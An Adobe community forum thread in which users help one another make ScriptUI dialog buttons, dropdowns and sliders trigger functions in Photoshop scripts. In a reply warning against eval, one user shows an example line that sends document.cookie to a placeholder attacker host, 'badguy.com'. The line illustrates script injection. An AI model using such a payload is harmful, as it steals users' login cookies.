• Global community
    • Language:
      • Deutsch
      • English
      • Español
      • Français
      • Português
  • 日本語コミュニティ
    Dedicated community for Japanese speakers
  • 한국 커뮤니티
    Dedicated community for Korean speakers
Exit
0

Making ScriptUI Buttons Do Something

Community Expert ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

The scriptUI builder from Joonas has reduced the amount of time that it takes to create a GUI, which is fantastic.

 

Presuming that I have my code already working without a GUI, I am really struggling to work out how to test and link up a function or other "result" to the GUI elements in the window.

 

Take for example this code, it is a simple test, it only has two radio buttons and an OK and Cancel button.

 

myWindow.png

 

I have worked out how to test and return that it is "true" if a radio button is selected. This also works the same for checkboxes. All good so far.

 

However, I don't know what to do with the OK and cancel buttons. If I select a radio button and cancel, the function called by the button is executed. Obviously the expectation is that if cancel is pressed, then nothing happens.

 

Do I need to do anything for the OK button?

 

I am finding it hard looking at existing code and have not had much success with othe resources such as forum searches.

 

There must be a resource that simply explains this stuff with working examples? It is taking hours of research for me to get a UI element to do something correctly, so am I missing a basic resource?

 

This is of course just the start of my questions, there are many different UI controls (dropdowns, fields etc)... Which I'll get to.

TOPICS
Actions and scripting

Views

4.0K

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines

correct answers 2 Correct answers

LEGEND , Jun 09, 2021 Jun 09, 2021

I was writing the answer before you posted the code:

 

// SHOW THE WINDOW

function yourCode() {
	function button1result() {
			alert("You selected Button 1");
	}

	function button2result() {
			alert("You selected Button 2");
	}

	if (radioButton1.value === true) {
			button1result();
	}

	if (radioButton2.value === true) {
			button2result();
	}
}

myDialogWindow.show() - 2 ? yourCode() : alert('Exit!')

 

Votes

Translate

Translate
LEGEND , Jun 25, 2021 Jun 25, 2021
dropdownMenu.selection.index

Votes

Translate

Translate
Adobe
Community Expert ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

Here is the code:

 

#target photoshop

// GUI - START

// MYDIALOGWINDOW
var myDialogWindow = new Window("dialog"); 
    myDialogWindow.text = "myWindow"; 
    myDialogWindow.orientation = "column"; 
    myDialogWindow.alignChildren = ["center","top"]; 
    myDialogWindow.spacing = 10; 
    myDialogWindow.margins = 10; 

// BUTTONGROUP
var buttonGroup = myDialogWindow.add("panel", undefined, undefined, {name: "buttonGroup"}); 
    buttonGroup.text = "Button Group"; 
    buttonGroup.orientation = "column"; 
    buttonGroup.alignChildren = ["left","top"]; 
    buttonGroup.spacing = 10; 
    buttonGroup.margins = 10; 

var radioButton1 = buttonGroup.add("radiobutton", undefined, undefined, {name: "radioButton1"}); 
    radioButton1.text = "Button 1"; 

var radioButton2 = buttonGroup.add("radiobutton", undefined, undefined, {name: "radioButton2"}); 
    radioButton2.text = "Button 2"; 

// MYDIALOGWINDOW
var okButton = myDialogWindow.add("button", undefined, undefined, {name: "okButton"}); 
    okButton.text = "OK"; 

var cancelButton = myDialogWindow.add("button", undefined, undefined, {name: "cancelButton"}); 
    cancelButton.text = "Cancel"; 

// SHOW THE WINDOW
myDialogWindow.show();

// GUI - FINISH

// TEST BUTTON 1
if (radioButton1.value === true) {
    button1result();
}

// TEST BUTTON 2
if (radioButton2.value === true) {
    button2result();
}

// TEST OK BUTTON
// >> CODE HERE <<

// TEST CANCEL BUTTON
// >> CODE HERE <<


// BUTTON FUNCTIONS

function button1result() {
    alert("You selected Button 1");
}

function button2result() {
    alert("You selected Button 2");
}

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
LEGEND ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

 

win = new Window('dialog')
win.add('button', undefined, 'OK')
win.add('button', undefined, 'Cancel')
alert(win.show() - 2 ? 'Start' : 'Leave')

 

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Community Expert ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

@Kukurykus 

 

Thank you, in it's simplicity, your code is too complex! :]

 

I cant work out how to adapt this to the script code previously posted. This is why I posted the code, I need to see how everthing links up in order to understand what is going on.

 

Remember, I only know enough to be dangerous and what I know is on a needs as basis.

 

I believe that I need to do something here:

 

// TEST OK BUTTON
// >> CODE HERE <<

// TEST CANCEL BUTTON
// >> CODE HERE <<

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
LEGEND ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

I was writing the answer before you posted the code:

 

// SHOW THE WINDOW

function yourCode() {
	function button1result() {
			alert("You selected Button 1");
	}

	function button2result() {
			alert("You selected Button 2");
	}

	if (radioButton1.value === true) {
			button1result();
	}

	if (radioButton2.value === true) {
			button2result();
	}
}

myDialogWindow.show() - 2 ? yourCode() : alert('Exit!')

 

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Community Expert ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

@Kukurykus 

 

Thank you, so, wrap the buttons in a function, then call the function as part of the show window/dialog code.

 

I believe that I "understand" what you did, if not why. The syntax kills me though...

 

For sake of argument, what if one didn't want the prompt on cancel?  Not understanding the syntax, all I did was manage to break the script when I tried to remove the alert on cancel.

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
LEGEND ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

The alert on cancel is for most users on this forum, who unfortunately when you do not give them result in alert (while there's no any other visible effect), think something does not work. Simply change that to anything that gives undefined result or use:

 

if (myDialogWindow.show() - 2) yourCode()

 

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Community Expert ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

Thank you, I just ended up playing with either null or undefined instead of the alert.

 

This has been a great help for applying the OK or Cancel and should serve as a reusable code framework.

 

Cheers!

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Community Expert ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

In the previous case, I already knew how to test the radio button (or checkbox) state in order to call a function to "do something".

 

The next area where I am working things out blindly is testing for a dropdown array... I settled on comparing that the content of the dropdown was equal to itself. The following code seems to work as expected:

 

drop.png

 

 

// DIALOG
var dialog = new Window("dialog");
dialog.text = "Dialog";
dialog.orientation = "row";
dialog.alignChildren = ["center", "top"];
dialog.spacing = 10;
dialog.margins = 16;

// DROPDOWNPANEL
var dropdownPanel = dialog.add("panel", undefined, undefined, {
    name: "dropdownPanel"
});
dropdownPanel.text = "Dropdown Label";
dropdownPanel.orientation = "column";
dropdownPanel.alignChildren = ["left", "top"];
dropdownPanel.spacing = 10;
dropdownPanel.margins = 10;

var dropdownMenu_array = ["Item 1", "Item 2"];
var dropdownMenu = dropdownPanel.add("dropdownlist", undefined, undefined, {
    name: "dropdownMenu",
    items: dropdownMenu_array
});
dropdownMenu.selection = 0;

// OK & CANCEL BUTTONS
var okButton = dialog.add("button", undefined, undefined, {
    name: "okButton"
});
okButton.text = "OK";
okButton.alignment = ["center", "center"];

var cancelButton = dialog.add("button", undefined, undefined, {
    name: "cancelButton"
});
cancelButton.text = "Cancel";
cancelButton.alignment = ["center", "center"];

// WRAP THE UI ELEMENTS INTO A FUNCTION
function buttonActions() {

    // DROPDOWN SELECTION TESTS
    if (dropdownMenu.selection.text === "Item 1") {
        // CALL THE FUNCTION
        dropdownItem1result();
    }

    if (dropdownMenu.selection.text === "Item 2") {
        // CALL THE FUNCTION
        dropdownItem2result();
    }

    // DROPDOWN FUNCTIONS

    function dropdownItem1result() {
        alert("You selected Item 1");
    }

    function dropdownItem2result() {
        alert("You selected Item 2");
    }

}

// SHOW THE WINDOW & CALL THE DROPDOWN FUNCTION ON OK, OR CANCEL THE SCRIPT
// dialog.show() - 2 ? buttonActions() : alert("Script cancelled!");
dialog.show() - 2 ? buttonActions() : undefined;

 

 

 

I presume that an alternative method to determine which dropdown menu item was selected would be to use a test for the array item index number? If so, I can't figure that alternative method out though.

 

And I'm guessing that testing other GUI elements will present their own challenges. What does editText use? What about sliders? This is why I'm struggling to find documentation and easy to understand samples. Building the scriptUI is simple as the tool from Joonas does all the hard work, but getting the interface elements to "do something" is now my challenge.

 

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
LEGEND ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Community Expert ,
Jun 09, 2021 Jun 09, 2021

Copy link to clipboard

Copied

Thanks again, I'll look into the linked thread...

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Community Expert ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

I hate to admit defeat, however, I just cant work out how to access the array index, or another method.

 

This snippet works to run a function based on the selected dropdown array item:

 

    if (dropdownMenu.selection.text === "Item 1") {
        // CALL THE FUNCTION
        dropdownItem1result();
    }

 

These variations don't work:

 

(dropdownMenu.selection.text[0])
(dropdownMenu.selection[0])
(dropdownMenu[0])
(dropdownMenu_array.selection.text[0])

 

I'm sure that the answer is obvious to those in the know, but very frustrating for me. It took me hours to figure out how to do this the first time, I'm just looking to learn other ways, by index or any other workable method so that I can explore the pros/cons.

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
LEGEND ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

dropdownMenu.selection.index

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Community Expert ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

Thank you, but I have tried that and other variations before, I didn't list all of the useless code attempts that I have made, that was just a short list! More non-functioning examples below...

 

// DROPDOWN SELECTION TESTS
if (dropdownMenu.selection.index) {
// CALL THE FUNCTION
dropdownItem1result();
}

if (dropdownMenu.selection.index) {
// CALL THE FUNCTION
dropdownItem2result();
}

/* The previous code is obviously incomplete, so let me try something else */

// DROPDOWN SELECTION TESTS
if (dropdownMenu.selection.index[0]) {
// CALL THE FUNCTION
dropdownItem1result();
}

if (dropdownMenu.selection.index[1]) {
// CALL THE FUNCTION
dropdownItem2result();
}

/* The above doesn't work, so let me try something else */

// DROPDOWN SELECTION TESTS
if (dropdownMenu.selection === index[0]) {
// CALL THE FUNCTION
dropdownItem1result();
}

if (dropdownMenu.selection === index[1]) {
// CALL THE FUNCTION
dropdownItem2result();
}

/* The above is useless, so let me try something else */

// DROPDOWN SELECTION TESTS
if (dropdownMenu.selection.index[0] === true) {
// CALL THE FUNCTION
dropdownItem1result();
}

if (dropdownMenu.selection.index[1]) === true {
// CALL THE FUNCTION
dropdownItem2result();
}

 

I have read countless tutorials and code examples. I'm obviously missing something simple. This is why I pasted full code earlier in the topic, out of context code isn't working for me.

 

I'm sorry for asking the forum again, I did ask previously but there was no reply. Isn't there a repository that lists this sort of stuff with simple working code examples? The tool from joonas is great in building a GUI, but there is a disconnect between having a GUI and making the GUI actually do something.

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
LEGEND ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

eval('dropdownItem' + (dropdownMenu.selection.index + 1) + 'result()')

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Explorer ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

eval('dropdownItem' + (dropdownMenu.selection.index + 1) + 'result()')

 

I'd stay clear of "eval", as it's about as insecure as it gets and generally not nessecary..
the above code should really be:

theFunc = 'dropdownItem' + (dropdownMenu.selection.index + 1) + 'result';
theFunc();

or:

('dropdownItem' + (dropdownMenu.selection.index + 1) + 'result')();


yeah, that actually works..

But, in this instance, what you REALLY want is:

//dropdownmenu code
dropdownmenu.onChange = function(){
 if( this.index >= 1 ){
   dropdownItem1result();
 } else{
  dropdownItem2result();
 }
}

or something similair..



 

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
LEGEND ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

If you firmly state 'eval' is insecure, please share some examples...

 

The two snippets you posted to use instead of eval does not work.

 

ps. onChange is useful, but the above problem is not about method but the logic.

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Explorer ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

The code doesn't work indeed.. weird.. SHOULD work as it is basic JS.. sorry about that, should've tested it.. 

TBH, I'm kinda lost in what is asked here, so maybe I shouldn't be interfering anymore. 
----------------------------------------
As for eval, it's not essential when working with photoshop I guess but when working on the web eval, in combination with forms, is exceedingly unsafe. So IMO it's best not to get used to it.

Why it's unsafe? Because it allows for execution of ANY javascript. If, on a webpage, you can insert a script (script injection), people could place a bit of code where "dropdownMenu.selection.index + 1" is called, through editing of the html-source. Finding and sending content of login-cookies is for instance a big one.
These scripts sometimes piggyback in  3d party marketing scripts. Could be as simple as:
- is there a form on the page?
- if there is, is there a dropdown?
- if there is, add [secretfunction] to the onchange event
- secretfunction does someth. like this:

dropdownMenu.selection.index = (var i=new Image();i.src='http://badguy.com/x?' + document.cookie;)

- if this gets evalled, it would send the content of the cookie linked to the page to "badguy.com", giving them your login information. And as eval operates as it's own process there'd be no way of stopping, or even noticing it. 

I know I'm not being entirely clear here, it's just as an illustration. The injected scripts are sophisticated as all hell and amazingly well hidden. 

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
People's Champ ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

The whole script is dangerous. After all, it is executed with photoshop rights. If the user has given Photoshop administrator rights, and you are running someone else's script that you don’t understand how it works, then simply launch the Trojan.

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
LEGEND ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

I'm aware of all these dnageres you listed as I used to learn some javascript outside of Ps before I ended up here. But thank you for explanation though. I hoped you share some risks of using eval around Photoshop, but as you said yourself it's not related to. As far as I know eval in modern JavaScript implementation was deprecated, and does not work anymore, so hmm few years ago that warning had really sense, but now until we still use ECMA3 for Adobe apps there's no other way to make codes at least much shorter than usual.

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Community Expert ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

Stephen_A_Marsh_0-1624665712210.png
TBH, I'm kinda lost in what is asked here, so maybe I shouldn't be interfering anymore. 

 

@Multifarious 

 

Thank you for your input. OK, let's reset the topic...

 

From my perspective, what has been asked is very simple. The answers have not been simple I'm afraid, that is expected. I'm finding scriptUI to be very difficult.

 

Kukurykus helped me to get the Cancel and OK working as expected (thanks again).

 

In my second large chunk of code, I have posted 67 lines of fully working code. It is embarrassing how many hours this took to get my first working result to check and run a function for each dropdown item.

 

I am searching if the text of the selected dropdown item is true. Again, it took me many hours to get this result. It works, but I have to expect that there are other ways of doing the same thing, probably better than what I came up with by trial and error.

 

The dropdown list has 2 items, it could be 3 or 10 or more. I just wanted to start with the bare minimum and 1 item is not enough to be sure that things actually work.

 

Looking at isolated code snippets does not help me, I need to see working code in the context of the script to see how it all "fits together". There is a disconnect for me between simple examples such as on the W3C site and getting things to work within a scriptUI and Photoshop environment.

 

I am also lamenting the fact that there does not appear to be any great working examples of how to make the scriptUI elements "do something", in my case calling a function, a different function for each of the dropdown items.

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
LEGEND ,
Jun 26, 2021 Jun 26, 2021

Copy link to clipboard

Copied

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Explorer ,
Jun 26, 2021 Jun 26, 2021

Copy link to clipboard

Copied

LATEST
Stephen@BanfieldAgency

It's not really that much different from forms+JS in a webpage, albeit more
restrictive in what it allows you to do (hence the faulty snippets I posted
:P)

The question is really: do you want the elements (buttons/lists/sliders) to
do something while the dialogwindow is up or do you just want to process
the results. If it's the first then events (onClick, onChange,
OnMakingTheCofffee) are the way to go, if it's the latter you can read out
the dialog after the user clicked "ok" but before you close the dialog. As
you lose the information contained in the dialog the moment you close it
(AFAIK).

But... let's address the elephant in the room: what is your experience with
JS outside of photoshop?

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Explorer ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

I think what you're looking for is the "onChange" event item?

var dropdownMenu_array = ["Item 1", "Item 2"];
var dropdownMenu = dropdownPanel.add("dropdownlist", undefined, undefined, {
    name: "dropdownMenu",
    items: dropdownMenu_array
});
dropdownMenu.name = "mydropdownmenu"; //you can just do this, it's useful at times
dropdownMenu.selection = 0;

dropdownMenu.onChange = function(){
  s = "you chose " + this.selection.text;
  s = s +  " from the element " + this.name; //this is how you can use 'name'
  s = s + " which is a " + this.type
  alert( s );
}

 

Same with sliders:

//bit of code from a personal project:
DC.grpTools.grpInput.slider[0] = DC.grpTools.grpInput.add( 'slider', CFG.layout.slider );
DC.grpTools.grpInput.slider[0].minvalue = 1;
DC.grpTools.grpInput.slider[0].maxvalue = 5;
DC.grpTools.grpInput.slider[0].value = 1;
DC.grpTools.grpInput.slider[0].onChange = function(){
   this.value = Math.round(this.value);
}

 

Note how "this" means the dropdown/slider element in these contexts.
This is why I suggested you read up on events in relation to ScriptUI. 

What I normally do is have a config object (CFG) which will be filled after the user clicks ok, then have the rest of the script work with the CFG object, as the dialog is closed..

var CFG = {
  processed : false;
  chosenname : '',
  length : 0,
}
var DC; //dialog content, this allows me to access the dialog content OUTSIDE of the dialog context

dlg = new Window ('dialog', "Configurator");
DC = dlg.content = dlg.add( 'group' ); //DC & dlg.content are the same thing now
DC.namechooser =  dlg.content.add('dropdownlist',  undefined, ['name1','name2','name3'] );
DC.lengthslider = dlg.content.add( 'slider');
DC.okbutton = dlg.content.add( 'button', undefined, "Ok");
DC.okbutton.onClick = function(){
  CFG.chosenName = DC.namechooser.selection.text;
  CFG.length = DC.lengthslider.value;
  CFG.processed = true;
  dlg.close();
}


if( CFG.processed == false ){
   alert( "no input to work with" );
} else {
   //business logic here
}


This is roughly how I do things when using dialogboxes.

here's information about scriptUI elements, to see which parameters and methods belong to which elements: https://theiviaxx.github.io/photoshop-docs/ScriptUI/

 

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines
Community Expert ,
Jun 25, 2021 Jun 25, 2021

Copy link to clipboard

Copied

Stephen_A_Marsh_0-1624669244815.png

 

dropdownMenu.selection.index


 

@Kukurykus 

 

Your hint eventually proved helpful, I had to bash my head against the keyboard too may times until something worked as expected. The problem was with what you didn't put after .index

 

 

    // DROPDOWN SELECTION TESTS
    if (dropdownMenu.selection.index === 0) {
        // CALL THE FUNCTION
        dropdownItem1result();
    }

    if (dropdownMenu.selection.index === 1) {
        // CALL THE FUNCTION
        dropdownItem2result();
    }

 

All of the info regarding returning the selected array indes number that I could find used square brackets around the index number:

 

.index[0]

.index = [0]

.index == [0]

.index === [0]

 

This was not the correct syntax for my particular code, I just needed:

 

.index === 0

 

Votes

Translate

Translate

Report

Report
Community guidelines
Be kind and respectful, give credit to the original source of content, and search for duplicates before posting. Learn more
community guidelines